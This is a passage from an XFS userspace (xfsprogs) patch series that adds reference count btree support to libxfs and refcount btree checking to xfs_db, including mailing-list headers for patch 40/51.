XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, + found_rec == 1, out_error); + goto advloop; + } else { + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, + cur->bc_private.a.agno, + ext.rc_startblock); + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, + ext.rc_blockcount, oinfo); + } + + error = xfs_btree_increment(cur, 0, &found_rec); + if (error) + goto out_error; + +advloop: + agbno += ext.rc_blockcount; + aglen -= ext.rc_blockcount; + } + + return error; +out_error: + trace_xfs_refcount_modify_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Adjust the reference count of a range of AG blocks. + * + * @mp: XFS mount object + * @tp: XFS transaction object + * @agbp: Buffer containing the AGF + * @agno: AG number + * @agbno: Start of range to adjust + * @aglen: Length of range to adjust + * @adj: +1 to increment, -1 to decrement reference count + * @flist: freelist (only required if adj == -1) + * @owner: owner of the blocks (only required if adj == -1) + */ +STATIC int +xfs_refcountbt_adjust_refcount( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + int adj, + struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo) +{ + struct xfs_btree_cur *cur; + int error; + + cur = xfs_refcountbt_init_cursor(mp, tp, agbp, agno, flist); + + /* + * Ensure that no rlextents cross the boundary of the adjustment range. + */ + error = try_split_left_rlextent(cur, agbno); + if (error) + goto out_error; + + error = try_split_right_rlextent(cur, agbno + aglen); + if (error) + goto out_error; + + /* + * Try to merge with the left or right extents of the range. + */ + error = try_merge_rlextents(cur, &agbno, &aglen, adj); + if (error) + goto out_error; + + /* Now that we've taken care of the ends, adjust the middle extents */ + error = adjust_rlextents(cur, agbno, aglen, adj, flist, oinfo); + if (error) + goto out_error; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +out_error: + trace_xfs_refcount_adjust_error(mp, agno, error, _RET_IP_); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + +/** + * Increase the reference count of a range of AG blocks. + * + * @mp: XFS mount object + * @tp: XFS transaction object + * @agbp: Buffer containing the AGF + * @agno: AG number + * @agbno: Start of range to adjust + * @aglen: Length of range to adjust + * @flist: List of blocks to free + */ +int +xfs_refcount_increase( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + struct xfs_bmap_free *flist) +{ + trace_xfs_refcount_increase(mp, agno, agbno, aglen); + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, + aglen, 1, flist, NULL); +} + +/** + * Decrease the reference count of a range of AG blocks. + * + * @mp: XFS mount object + * @tp: XFS transaction object + * @agbp: Buffer containing the AGF + * @agno: AG number + * @agbno: Start of range to adjust + * @aglen: Length of range to adjust + * @flist: List of blocks to free + * @owner: Extent owner + */ +int +xfs_refcount_decrease( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo) +{ + trace_xfs_refcount_decrease(mp, agno, agbno, aglen); + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, + aglen, -1, flist, oinfo); +} + +/** + * xfs_refcount_put_extent() - release a range of blocks + * + * @mp: XFS mount object + * @tp: transaction that goes with the free operation + * @flist: List of blocks to be freed at the end of the transaction + * @fsbno: First fs block of the range to release + * @len: Length of range + * @owner: owner of the extent + */ +int +xfs_refcount_put_extent( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_bmap_free *flist, + xfs_fsblock_t fsbno, + xfs_filblks_t fslen, + struct xfs_owner_info *oinfo) +{ + int error; + struct xfs_buf *agbp; + xfs_agnumber_t agno; /* allocation group number */ + xfs_agblock_t agbno; /* ag start of range to free */ + xfs_extlen_t aglen; /* ag length of range to free */ + + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + aglen = fslen; + + /* + * Drop reference counts in the refcount tree. + */ + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); + if (error) + return error; + + error = xfs_refcount_decrease(mp, tp, agbp, agno, agbno, aglen, flist, + oinfo); + xfs_trans_brelse(tp, agbp); + return error; +} diff --git a/libxfs/xfs_refcount.h b/libxfs/xfs_refcount.h new file mode 100644 index 0000000..074d620 --- /dev/null +++ b/libxfs/xfs_refcount.h @@ -0,0 +1,41 @@ +/* + * Copyright (c) 2000,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_REFCOUNT_H__ +#define __XFS_REFCOUNT_H__ + +extern int xfs_refcountbt_lookup_le(struct xfs_btree_cur *cur, + xfs_agblock_t bno, int *stat); +extern int xfs_refcountbt_lookup_ge(struct xfs_btree_cur *cur, + xfs_agblock_t bno, int *stat); +extern int xfs_refcountbt_get_rec(struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec, int *stat); + +extern int xfs_refcount_increase(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, + xfs_extlen_t aglen, struct xfs_bmap_free *flist); +extern int xfs_refcount_decrease(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, + xfs_extlen_t aglen, struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo); + +extern int xfs_refcount_put_extent(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_bmap_free *flist, xfs_fsblock_t fsbno, + xfs_filblks_t len, struct xfs_owner_info *oinfo); + +#endif /* __XFS_REFCOUNT_H__ */ diff --git a/libxfs/xfs_refcount_btree.c b/libxfs/xfs_refcount_btree.c new file mode 100644 index 0000000..745c6c3 --- /dev/null +++ b/libxfs/xfs_refcount_btree.c @@ -0,0 +1,375 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "libxfs_priv.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_btree.h" +#include "xfs_bmap.h" +#include "xfs_refcount_btree.h" +#include "xfs_alloc.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" +#include "xfs_trans.h" +#include "xfs_bit.h" + +static struct xfs_btree_cur * +xfs_refcountbt_dup_cursor( + struct xfs_btree_cur *cur) +{ + return xfs_refcountbt_init_cursor(cur->bc_mp, cur->bc_tp, + cur->bc_private.a.agbp, cur->bc_private.a.agno, + cur->bc_private.a.flist); +} + +STATIC void +xfs_refcountbt_set_root( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr, + int inc) +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + struct xfs_perag *pag = xfs_perag_get(cur->bc_mp, seqno); + + ASSERT(ptr->s != 0); + + agf->agf_refcount_root = ptr->s; + be32_add_cpu(&agf->agf_refcount_level, inc); + pag->pagf_refcount_level += inc; + xfs_perag_put(pag); + + xfs_alloc_log_agf(cur->bc_tp, agbp, XFS_AGF_ROOTS | XFS_AGF_LEVELS); +} + +STATIC int +xfs_refcountbt_alloc_block( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *start, + union xfs_btree_ptr *new, + int *stat) +{ + struct xfs_alloc_arg args; /* block allocation args */ + int error; /* error return value */ + + memset(&args, 0, sizeof(args)); + args.tp = cur->bc_tp; + args.mp = cur->bc_mp; + args.type = XFS_ALLOCTYPE_NEAR_BNO; + args.fsbno = XFS_AGB_TO_FSB(cur->bc_mp, cur->bc_private.a.agno, + xfs_refc_block(args.mp)); + args.firstblock = args.fsbno; + XFS_RMAP_AG_OWNER(&args.oinfo, XFS_RMAP_OWN_REFC); + args.minlen = args.maxlen = args.prod = 1; + + error = xfs_alloc_vextent(&args); + if (error) + goto out_error; + if (args.fsbno == NULLFSBLOCK) { + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 0; + return 0; + } + ASSERT(args.agno == cur->bc_private.a.agno); + ASSERT(args.len == 1); + + new->s = cpu_to_be32(args.agbno); + + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 1; + return 0; + +out_error: + XFS_BTREE_TRACE_CURSOR(cur, XBT_ERROR); + return error; +} + +STATIC int +xfs_refcountbt_free_block( + struct xfs_btree_cur *cur, + struct xfs_buf *bp) +{ + struct xfs_mount *mp = cur->bc_mp; + struct xfs_trans *tp = cur->bc_tp; + xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); + struct xfs_owner_info oinfo; + + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_REFC); + xfs_bmap_add_free(mp, cur->bc_private.a.flist, fsbno, 1, + &oinfo); + xfs_trans_binval(tp, bp); + return 0; +} + +STATIC int +xfs_refcountbt_get_minrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_refc_mnr[level != 0]; +} + +STATIC int +xfs_refcountbt_get_maxrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_refc_mxr[level != 0]; +} + +STATIC void +xfs_refcountbt_init_key_from_rec( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + ASSERT(rec->refc.rc_startblock != 0); + + key->refc.rc_startblock = rec->refc.rc_startblock; +} + +STATIC void +xfs_refcountbt_init_rec_from_key( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + ASSERT(key->refc.rc_startblock != 0); + + rec->refc.rc_startblock = key->refc.rc_startblock; +} + +STATIC void +xfs_refcountbt_init_rec_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_rec *rec) +{ + ASSERT(cur->bc_rec.rc.rc_startblock != 0); + + rec->refc.rc_startblock = cpu_to_be32(cur->bc_rec.rc.rc_startblock); + rec->refc.rc_blockcount = cpu_to_be32(cur->bc_rec.rc.rc_blockcount); + rec->refc.rc_refcount = cpu_to_be32(cur->bc_rec.rc.rc_refcount); +} + +STATIC void +xfs_refcountbt_init_ptr_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(cur->bc_private.a.agbp); + + ASSERT(cur->bc_private.a.agno == be32_to_cpu(agf->agf_seqno)); + ASSERT(agf->agf_refcount_root != 0); + + ptr->s = agf->agf_refcount_root; +} + +STATIC __int64_t +xfs_refcountbt_key_diff( + struct xfs_btree_cur *cur, + union xfs_btree_key *key) +{ + struct xfs_refcount_irec *rec = &cur->bc_rec.rc; + struct xfs_refcount_key *kp = &key->refc; + + return (__int64_t)be32_to_cpu(kp->rc_startblock) - rec->rc_startblock; +} + +STATIC bool +xfs_refcountbt_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_perag *pag = bp->b_pag; + unsigned int level; + + if (block->bb_magic != cpu_to_be32(XFS_REFC_CRC_MAGIC)) + return false; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return false; + if (!xfs_btree_sblock_v5hdr_verify(bp)) + return false; + + level = be16_to_cpu(block->bb_level); + if (pag && pag->pagf_init) { + if (level >= pag->pagf_refcount_level) + return false; + } else if (level >= mp->m_ag_maxlevels) + return false; + + return xfs_btree_sblock_verify(bp, mp->m_refc_mxr[level != 0]); +} + +STATIC void +xfs_refcountbt_read_verify( + struct xfs_buf *bp) +{ + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, -EFSBADCRC); + else if (!xfs_refcountbt_verify(bp)) + xfs_buf_ioerror(bp, -EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); + } +} + +STATIC void +xfs_refcountbt_write_verify( + struct xfs_buf *bp) +{ + if (!xfs_refcountbt_verify(bp)) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_buf_ioerror(bp, -EFSCORRUPTED); + xfs_verifier_error(bp); + return; + } + xfs_btree_sblock_calc_crc(bp); + +} + +const struct xfs_buf_ops xfs_refcountbt_buf_ops = { + .verify_read = xfs_refcountbt_read_verify, + .verify_write = xfs_refcountbt_write_verify, +}; + +#if defined(DEBUG) || defined(XFS_WARN) +STATIC int +xfs_refcountbt_keys_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_key *k1, + union xfs_btree_key *k2) +{ + return be32_to_cpu(k1->refc.rc_startblock) < + be32_to_cpu(k2->refc.rc_startblock); +} + +STATIC int +xfs_refcountbt_recs_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_rec *r1, + union xfs_btree_rec *r2) +{ + struct xfs_refcount_irec a, b; + + int ret = be32_to_cpu(r1->refc.rc_startblock) + + be32_to_cpu(r1->refc.rc_blockcount) <= + be32_to_cpu(r2->refc.rc_startblock); + if (!ret) { + a.rc_startblock = be32_to_cpu(r1->refc.rc_startblock); + a.rc_blockcount = be32_to_cpu(r1->refc.rc_blockcount); + a.rc_refcount = be32_to_cpu(r1->refc.rc_refcount); + b.rc_startblock = be32_to_cpu(r2->refc.rc_startblock); + b.rc_blockcount = be32_to_cpu(r2->refc.rc_blockcount); + b.rc_refcount = be32_to_cpu(r2->refc.rc_refcount); + trace_xfs_refcount_rec_order_error(cur->bc_mp, + cur->bc_private.a.agno, &a, &b); + } + + return ret; +} +#endif /* DEBUG */ + +static const struct xfs_btree_ops xfs_refcountbt_ops = { + .rec_len = sizeof(struct xfs_refcount_rec), + .key_len = sizeof(struct xfs_refcount_key), + + .dup_cursor = xfs_refcountbt_dup_cursor, + .set_root = xfs_refcountbt_set_root, + .alloc_block = xfs_refcountbt_alloc_block, + .free_block = xfs_refcountbt_free_block, + .get_minrecs = xfs_refcountbt_get_minrecs, + .get_maxrecs = xfs_refcountbt_get_maxrecs, + .init_key_from_rec = xfs_refcountbt_init_key_from_rec, + .init_rec_from_key = xfs_refcountbt_init_rec_from_key, + .init_rec_from_cur = xfs_refcountbt_init_rec_from_cur, + .init_ptr_from_cur = xfs_refcountbt_init_ptr_from_cur, + .key_diff = xfs_refcountbt_key_diff, + .buf_ops = &xfs_refcountbt_buf_ops, +#if defined(DEBUG) || defined(XFS_WARN) + .keys_inorder = xfs_refcountbt_keys_inorder, + .recs_inorder = xfs_refcountbt_recs_inorder, +#endif +}; + +/** + * xfs_refcountbt_init_cursor() -- Allocate a new refcount btree cursor. + * + * @mp: XFS mount object + * @tp: XFS transaction + * @agbp: Buffer containing the AGF + * @agno: AG number + */ +struct xfs_btree_cur * +xfs_refcountbt_init_cursor( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + struct xfs_bmap_free *flist) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + struct xfs_btree_cur *cur; + + ASSERT(agno != NULLAGNUMBER); + ASSERT(agno < mp->m_sb.sb_agcount); + cur = kmem_zone_zalloc(xfs_btree_cur_zone, KM_SLEEP); + + cur->bc_tp = tp; + cur->bc_mp = mp; + cur->bc_btnum = XFS_BTNUM_REFC; + cur->bc_blocklog = mp->m_sb.sb_blocklog; + cur->bc_ops = &xfs_refcountbt_ops; + + cur->bc_nlevels = be32_to_cpu(agf->agf_refcount_level); + + cur->bc_private.a.agbp = agbp; + cur->bc_private.a.agno = agno; + cur->bc_private.a.flist = flist; + cur->bc_flags |= XFS_BTREE_CRC_BLOCKS; + + return cur; +} + +/** + * xfs_refcountbt_maxrecs() -- Calculate number of records in a refcount + * btree block. + * @mp: XFS mount object + * @blocklen: Length of block, in bytes. + * @leaf: true if this is a leaf btree block, false otherwise + */ +int +xfs_refcountbt_maxrecs( + struct xfs_mount *mp, + int blocklen, + bool leaf) +{ + blocklen -= XFS_REFCOUNT_BLOCK_LEN; + + if (leaf) + return blocklen / sizeof(struct xfs_refcount_rec); + return blocklen / (sizeof(struct xfs_refcount_key) + + sizeof(xfs_refcount_ptr_t)); +} diff --git a/libxfs/xfs_refcount_btree.h b/libxfs/xfs_refcount_btree.h new file mode 100644 index 0000000..d51dc1a --- /dev/null +++ b/libxfs/xfs_refcount_btree.h @@ -0,0 +1,65 @@ +/* + * Copyright (c) 2000,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_REFCOUNT_BTREE_H__ +#define __XFS_REFCOUNT_BTREE_H__ + +/* + * Reference Count Btree on-disk structures + */ + +struct xfs_buf; +struct xfs_btree_cur; +struct xfs_mount; + +/* + * Btree block header size + */ +#define XFS_REFCOUNT_BLOCK_LEN XFS_BTREE_SBLOCK_CRC_LEN + +/* + * Record, key, and pointer address macros for btree blocks. + * + * (note that some of these may appear unused, but they are used in userspace) + */ +#define XFS_REFCOUNT_REC_ADDR(block, index) \ + ((struct xfs_refcount_rec *) \ + ((char *)(block) + \ + XFS_REFCOUNT_BLOCK_LEN + \ + (((index) - 1) * sizeof(struct xfs_refcount_rec)))) + +#define XFS_REFCOUNT_KEY_ADDR(block, index) \ + ((struct xfs_refcount_key *) \ + ((char *)(block) + \ + XFS_REFCOUNT_BLOCK_LEN + \ + ((index) - 1) * sizeof(struct xfs_refcount_key))) + +#define XFS_REFCOUNT_PTR_ADDR(block, index, maxrecs) \ + ((xfs_refcount_ptr_t *) \ + ((char *)(block) + \ + XFS_REFCOUNT_BLOCK_LEN + \ + (maxrecs) * sizeof(struct xfs_refcount_key) + \ + ((index) - 1) * sizeof(xfs_refcount_ptr_t))) + +extern struct xfs_btree_cur *xfs_refcountbt_init_cursor(struct xfs_mount *mp, + struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, + struct xfs_bmap_free *flist); +extern int xfs_refcountbt_maxrecs(struct xfs_mount *mp, int blocklen, + bool leaf); + +#endif /* __XFS_REFCOUNT_BTREE_H__ */ diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index ddc1ecd..24d1f9b 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -34,6 +34,8 @@ #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_rmap_btree.h" +#include "xfs_bmap.h" +#include "xfs_refcount_btree.h" /* * Physical superblock buffer manipulations. Shared with libxfs in userspace. @@ -706,6 +708,13 @@ xfs_sb_mount_common( mp->m_rmap_mnr[0] = mp->m_rmap_mxr[0] / 2; mp->m_rmap_mnr[1] = mp->m_rmap_mxr[1] / 2; + mp->m_refc_mxr[0] = xfs_refcountbt_maxrecs(mp, sbp->sb_blocksize, + true); + mp->m_refc_mxr[1] = xfs_refcountbt_maxrecs(mp, sbp->sb_blocksize, + false); + mp->m_refc_mnr[0] = mp->m_refc_mxr[0] / 2; + mp->m_refc_mnr[1] = mp->m_refc_mxr[1] / 2; + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, sbp->sb_inopblock); diff --git a/libxfs/xfs_shared.h b/libxfs/xfs_shared.h index 88efbb4..77d1220 100644 --- a/libxfs/xfs_shared.h +++ b/libxfs/xfs_shared.h @@ -39,6 +39,7 @@ extern const struct xfs_buf_ops xfs_agf_buf_ops; extern const struct xfs_buf_ops xfs_agfl_buf_ops; extern const struct xfs_buf_ops xfs_allocbt_buf_ops; extern const struct xfs_buf_ops xfs_rmapbt_buf_ops; +extern const struct xfs_buf_ops xfs_refcountbt_buf_ops; extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; extern const struct xfs_buf_ops xfs_bmbt_buf_ops; @@ -216,6 +217,7 @@ int xfs_log_calc_minimum_size(struct xfs_mount *); #define XFS_INO_REF 2 #define XFS_ATTR_BTREE_REF 1 #define XFS_DQUOT_REF 1 +#define XFS_REFC_BTREE_REF 1 /* * Flags for xfs_trans_ichgtime(). diff --git a/libxfs/xfs_types.h b/libxfs/xfs_types.h index da87796..690d616 100644 --- a/libxfs/xfs_types.h +++ b/libxfs/xfs_types.h @@ -112,7 +112,7 @@ typedef enum { typedef enum { XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_RMAPi, XFS_BTNUM_BMAPi, - XFS_BTNUM_INOi, XFS_BTNUM_FINOi, XFS_BTNUM_MAX + XFS_BTNUM_INOi, XFS_BTNUM_FINOi, XFS_BTNUM_REFCi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { From darrick.wong@oracle.com Wed Oct 7 00:09:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E60A929E90 for ; Wed, 7 Oct 2015 00:09:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 81E54AC008 for ; Tue, 6 Oct 2015 22:09:42 -0700 (PDT) X-ASG-Debug-ID: 1444194580-04bdf020dc0ea50001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id yNk0vo3NCaUooEDf (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:40 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759ZO3021928 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:35 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9759ZIB011336 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:35 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9759Z1C007835; Wed, 7 Oct 2015 05:09:35 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:34 -0700 Subject: [PATCH 40/51] xfs_db: add support for checking the refcount btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 40/51] xfs_db: add support for checking the refcount btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:33 -0700 Message-ID: <20151007050933.1504.94823.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194580 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Do some basic checks of the refcount btree. xfs_repair will have to check that the reference counts match the various bmbt mappings. Signed-off-by: Darrick J. Wong --- db/check.c | 136 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 128 insertions(+), 8 deletions(-) diff --git a/db/check.c b/db/check.c index 648e0d6..9b79f99 100644 --- a/db/check.c +++ b/db/check.c @@ -44,7 +44,8 @@ typedef enum { DBM_FREE1, DBM_FREE2, DBM_FREELIST, DBM_INODE, DBM_LOG, DBM_MISSING, DBM_QUOTA, DBM_RTBITMAP, DBM_RTDATA, DBM_RTFREE, DBM_RTSUM, DBM_SB, - DBM_SYMLINK, DBM_BTFINO, DBM_BTRMAP, + DBM_SYMLINK, DBM_BTFINO, DBM_BTRMAP, DBM_BTREFC, + DBM_RLDATA, DBM_NDBM } dbm_t; @@ -52,7 +53,8 @@ typedef struct inodata { struct inodata *next; nlink_t link_set; nlink_t link_add; - char isdir; + char isdir:1; + char isreflink:1; char security; char ilist; xfs_ino_t ino; @@ -172,6 +174,8 @@ static const char *typename[] = { "symlink", "btfino", "btrmap", + "btrefcnt", + "rldata", NULL }; static int verbose; @@ -229,7 +233,8 @@ static int blocktrash_f(int argc, char **argv); static int blockuse_f(int argc, char **argv); static int check_blist(xfs_fsblock_t bno); static void check_dbmap(xfs_agnumber_t agno, xfs_agblock_t agbno, - xfs_extlen_t len, dbm_t type); + xfs_extlen_t len, dbm_t type, + int ignore_reflink); static int check_inomap(xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len, xfs_ino_t c_ino); static void check_linkcounts(xfs_agnumber_t agno); @@ -353,6 +358,9 @@ static void scanfunc_fino(struct xfs_btree_block *block, int level, static void scanfunc_rmap(struct xfs_btree_block *block, int level, struct xfs_agf *agf, xfs_agblock_t bno, int isroot); +static void scanfunc_refcnt(struct xfs_btree_block *block, int level, + struct xfs_agf *agf, xfs_agblock_t bno, + int isroot); static void set_dbmap(xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len, dbm_t type, xfs_agnumber_t c_agno, xfs_agblock_t c_agbno); @@ -1055,6 +1063,7 @@ blocktrash_f( (1 << DBM_SYMLINK) | (1 << DBM_BTFINO) | (1 << DBM_BTRMAP) | + (1 << DBM_BTREFC) | (1 << DBM_SB); while ((c = getopt(argc, argv, "0123n:o:s:t:x:y:z")) != EOF) { switch (c) { @@ -1292,18 +1301,25 @@ check_dbmap( xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len, - dbm_t type) + dbm_t type, + int ignore_reflink) { xfs_extlen_t i; char *p; + dbm_t d; for (i = 0, p = &dbmap[agno][agbno]; i < len; i++, p++) { + d = (dbm_t)*p; + if (ignore_reflink && (d == DBM_UNKNOWN || d == DBM_DATA || + d == DBM_RLDATA)) + continue; if ((dbm_t)*p != type) { - if (!sflag || CHECK_BLISTA(agno, agbno + i)) + if (!sflag || CHECK_BLISTA(agno, agbno + i)) { dbprintf(_("block %u/%u expected type %s got " "%s\n"), agno, agbno + i, typename[type], typename[(dbm_t)*p]); + } error++; } } @@ -1337,7 +1353,7 @@ check_inomap( return 0; } for (i = 0, rval = 1, idp = &inomap[agno][agbno]; i < len; i++, idp++) { - if (*idp) { + if (*idp && !(*idp)->isreflink) { if (!sflag || (*idp)->ilist || CHECK_BLISTA(agno, agbno + i)) dbprintf(_("block %u/%u claimed by inode %lld, " @@ -1543,6 +1559,26 @@ check_rrange( return 1; } +/* + * We don't check the accuracy of reference counts -- all we do is ensure + * that a data block never crosses with non-data blocks. repair can check + * those kinds of things. + * + * So with that in mind, if we're setting a block to be data or rldata, + * don't complain so long as the block is currently unknown, data, or rldata. + * Don't let blocks downgrade from rldata -> data. + 